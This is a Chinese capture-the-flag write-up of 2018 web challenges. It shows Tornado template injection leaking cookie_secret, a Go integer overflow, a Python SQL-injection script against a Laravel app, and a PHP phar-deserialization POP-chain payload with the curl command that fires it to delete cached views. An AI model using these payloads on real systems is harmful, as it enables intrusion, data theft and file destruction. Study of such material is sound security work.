太多没打过的东西了,一道tornado,一道java的fastjson反序列化,一道go的溢出...还有一道很难但是出的很好的php...
参考:http://skysec.top/2018/10/13/2018%E6%8A%A4%E7%BD%91%E6%9D%AF-web-writeup/
https://xz.aliyun.com/t/2912
easy tornado
进去发现三个链接,对应三个文件
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 http://49.4.78.81:30980/file?filename=Orz.txt&signature=9e3bb6483951e58b6095f949d572dd9a Orz.txt render() http://49.4.78.81:30980/file?filename=hint.txt&signature=74dfcb55b94ddbe4daedd3f21a68a2f1 hint.txt md5(cookie_secret + md5(filename)) http://49.4.78.81:30980/file?filename=flag.txt&signature=6a86c265598a92ae8bff5c9f7b9f2a72 flag.txt /fllllllllllag
访问文件需要签名,签名需要cookie_secret 尝试删掉签名,爆了error
1 http://49.4.78.81:30980/error?msg=xxx
猜想ssti,试了一下7*7,发现过滤了*
简单fuzz一下,发现过滤了一堆字符,拿到shell是不大可能了,看能不能读到cookie_secret吧
后续测试一下,发现可以用handler和request.去看tornado源码https://github.com/tornadoweb/tornado/blob/master/tornado/auth.py
尝试访问{{handler.settings}}
,然后拿到cookie_secret
构造签名访问flag即可
ltshop
go写的,算是学习了吧,go的int64存在溢出
1 http://www.it1352.com/808569.html
首先只有20块,条件竞争发包拿到5个以上辣条,然后flag需要99999999个大辣条,这肯定不够,猜想代码逻辑
1 2 3 4 5 6 7 8 9 if(da_la_tiao * 5 <= user_latiao) { success } else { fail }
构造溢出
我们填3689348814741910324,那么算的时候3689348814741910324 * 5
溢出,数值小于我们辣条数量,兑换成功,那么直接去换flag就ok
easy_web
java题... 后续可能专门写一篇博客,看情况了.... 然后天枢的wp
sky的wp
Easy-Laravel
源码泄漏
1 <!-- code: https://github.com/qqqqqqvq/easy_laravel -->
虽然已经没有这个仓库了,我们可以去官方仓库看源码
注入
note存在注入
注册的用户名没有限制,自己跑就好,这里我写了个脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 import requestsimport reimport randominit_num = random.randint(1 ,100000000000000 ) u = requests.session() while 1 : init_num += 1 username = "admin' union select 1,(" + input ('input:' ) + '),3,4,5#' r = u.get('http://127.0.0.1/register' ) token = re.findall('name="_token" value="([^"]+)"' , r.text) email = str (init_num) + '@qq.com' data = { '_token' : token[0 ], 'name' : username, 'email' : email, 'password' : email, 'password_confirmation' : email } r = u.post('http://127.0.0.1/register' , data = data) r = u.get('http://127.0.0.1/note' ) text = re.findall('<div class="col-xs-10">([^<]+)</div>' , r.text) print (text) u.post('http://127.0.0.1/logout' , data = {'_token' : token})
不过好像不能用information_schema,那么就直接查看数据库里面有什么东西
读一下密码
1 2 input:select password from users limit 0,1 [' $2y$10$rY8DAmSEJ99Au5pL.vCQ2eGdAAUek/hGMm.trPDpgK6KBAvddiy32 ']
似乎并不能解,那么怎么办呢,我们可以看到前面还有密码重置,我们去重置密码
重置密码
直接reset页面重置会报错
然后这里学习了一下laravel...
首先www目录有一个composer.json
,那我们先
然后php artisan route:list
我们可以看到有个password/reset/{token}
这里其实是出题人设计过的
这里是直接把生成出来的token写入了数据库中,所以我在开头放了一个注入,本意就是注入出这个token去重置admin@qvq.im的密码,可是好像很多人都被users表里的remember_token误导了,这也是使用
Laravel 5.4的原因,在高于5.4的版本中,重置密码这个 token 会被 bcrypt
再存入,就和用户密码一样
先发送一下链接,然后读token 登录成功
按道理来说现在查看flag就应该拿到flag了,但是并没有
结合题目提示
1 2 3 blade expired pop chain blade模板
blade模板
1 https://www.jianshu.com/p/7d65f9eb94be
blade是laravel的一个模板引擎.它不像其他流行的 PHP
模板引擎那样限制你在视图中使用原生的 PHP 代码,事实上它就是把 Blade
视图编译成原生的 PHP 代码并缓存起来。缓存会在 Blade
视图改变时而改变,这意味着 Blade 并没有给你的应用添加编译的负担。
所以我们这的思路很清晰: 1.因为旧的缓存存在,导致我们看不到flag
2.我们可以利用pop chain删掉缓存文件 3.读到flag
它的模板文件放在了resources/views
下面
1 2 3 4 5 6 7 8 9 10 11 12 13 root@be1168dd87c7:/usr/share/nginx/html/resources/views# ls -lsa total 44 4 drwxr-xr-x 6 root root 4096 Oct 17 17:45 . 4 drwxr-xr-x 5 root root 4096 Oct 17 17:45 .. 4 drwxr-xr-x 3 root root 4096 Oct 17 17:45 auth 4 drwxr-xr-x 2 root root 4096 Oct 17 17:45 errors 4 -rw-r--r-- 1 root root 1054 Oct 17 17:45 files.blade.php 4 -rw-r--r-- 1 root root 410 Oct 17 17:45 home.blade.php 4 drwxr-xr-x 2 root root 4096 Oct 17 17:45 layouts 4 -rw-r--r-- 1 root root 558 Oct 17 17:45 note.blade.php 4 -rw-r--r-- 1 root root 1014 Oct 17 17:45 upload.blade.php 4 drwxr-xr-x 3 root root 4096 Oct 17 17:45 vendor 4 -rw-r--r-- 1 root root 2213 Oct 17 17:45 welcome.blade.php
编译之后放在了storage/framework/views
它的过期判断
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 public function isExpired ($path ) { $compiled = $this ->getCompiledPath ($path ); if (! $this ->files->exists ($compiled )) { return true ; } $lastModified = $this ->files->lastModified ($path ); return $lastModified >= $this ->files->lastModified ($compiled ); }
然后存放路径
1 2 3 4 public function getCompiledPath ($path ) { return $this ->cachePath.'/' .sha1 ($path ).'.php' ; }
cachePath在哪呢?前面的提示
1 nginx是坠吼的 ( 好麻烦,默认配置也是坠吼的
那么说明路径就是/usr/share/nginx/html
但是要怎么删除呢?
phar反序列化
看到upload的源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 class UploadController extends Controller { public function __construct ( ) { $this ->middleware (['auth' , 'admin' ]); $this ->path = storage_path ('app/public' ); } public function index ( ) { return view ('upload' ); } public function upload (UploadRequest $request ) { $file = $request ->file ('file' ); if (($file && $file ->isValid ())) { $allowed_extensions = ["bmp" , "jpg" , "jpeg" , "png" , "gif" ]; $ext = $file ->getClientOriginalExtension (); if (in_array ($ext , $allowed_extensions )){ $file ->move ($this ->path, $file ->getClientOriginalName ()); Flash ::success ('上传成功' ); return redirect (route ('upload' )); } } Flash ::error ('上传失败' ); return redirect (route ('upload' )); } public function files ( ) { $files = array_except (Storage ::allFiles ('public' ), ['0' ]); return view ('files' )->with ('files' , $files ); } public function check (Request $request ) { $path = $request ->input ('path' , $this ->path); $filename = $request ->input ('filename' , null ); if ($filename ){ if (!file_exists ($path . $filename )){ Flash ::error ('磁盘文件已删除,刷新文件列表' ); }else { Flash ::success ('文件有效' ); } } return redirect (route ('files' )); } }
发现check里面用到了file_exists,路径也确定,上传的时候要求为image,改一个头就过了
那么现在就要找一个可以触发删除文件的类
然后我们在swiftmailer/swiftmailer/lib/classes/Swift/ByteStream/TemporaryFileByteStream.php
找到可用类
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 class Swift_ByteStream_TemporaryFileByteStream extends Swift_ByteStream_FileByteStream { public function __construct ( ) { $filePath = tempnam (sys_get_temp_dir (), 'FileByteStream' ); if ($filePath === false ) { throw new Swift_IoException ('Failed to retrieve temporary file name.' ); } parent ::__construct ($filePath , true ); } public function getContent ( ) { if (($content = file_get_contents ($this ->getPath ())) === false ) { throw new Swift_IoException ('Failed to get temporary file content.' ); } return $content ; } public function __destruct ( ) { if (file_exists ($this ->getPath ())) { @unlink ($this ->getPath ()); } } }
构造payload
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 <?php include ('autoload.php' ); $a = serialize (new Swift_ByteStream_TemporaryFileByteStream ()); var_dump (unserialize ($a )); var_dump ($a ); $a = preg_replace ('/\/tmp\/FileByteStream[a-zA-Z0-9]{6}/' , "/usr/share/nginx/html/storage/framework/views/34e41df0934a75437873264cd28e2d835bc38772.php" , $a ); $a = str_replace ('s:25' , 's:90' , $a ); $b = unserialize ($a ); var_dump ($b ); $p = new Phar ('./blacsheep.phar' , 0 ); $p ->startBuffering (); $p ->setStub ('GIF89a<?php __HALT_COMPILER(); ?>' ); $p ->setMetadata ($b ); $p ->addFromString ('test.txt' ,'text' ); $p ->stopBuffering (); rename ('blacsheep.phar' , 'blacsheep.gif' ) ?>
传上去之后curl来check一下触发删除
1 blacsheep@kali:/home/blacsheep $ curl -X POST --data "path=phar:///usr/share/nginx/html/storage/app/public&filename=/blacsheep.gif&_token=H1zLI745JltuZPTvk19zfm0BDzaMScRv4Sghq6bx" --cookie "XSRF-TOKEN=eyJpdiI6IjEydHFndGVRdGFiVU1RdzFjNElIWUE9PSIsInZhbHVlIjoiMUJJYjJYSk5pWGExR1RVVjFOUnBXdVNKckdTMnhxUjdVb1grTytJMW1uUGo1NmlGY0FJSXpiRlBCb2hmRXFmR0lYYm1RdG55V2RJUVB1eU5iNkFOQ3c9PSIsIm1hYyI6IjYxMjVhNDE1NjAyZjJkMDViZDQyYTRjYjc4Y2YzNTUxY2Y0MWUxNjAzODZiNzJmNDllYWUzYTRiM2MyZDY1YmMifQ%3D%3D; laravel_session=eyJpdiI6ImtDOEpVMmtNRHVXQlR1SWJER0d4bnc9PSIsInZhbHVlIjoiNURxNUE5REFUT0tvNTVWM1hMYVZZRjQyemdKZ2tTM2pZQ0J6cDNiSkpOTys4QmhjelozQ0lTYmYwa1VyWlA0eTRENkloajBKbVV5aWN6MEpVaTNaWEE9PSIsIm1hYyI6IjZhNDVkMDFlN2M0MDYzODRmM2NlYTBiZDEyMmFhZmQyMGVjMzU5YjQ3ZTc4OTkyZmU5YjRjMjgxMTE1NTk5MWUifQ%3D%3D" 'http://127.0.0.1/check'
拿到flag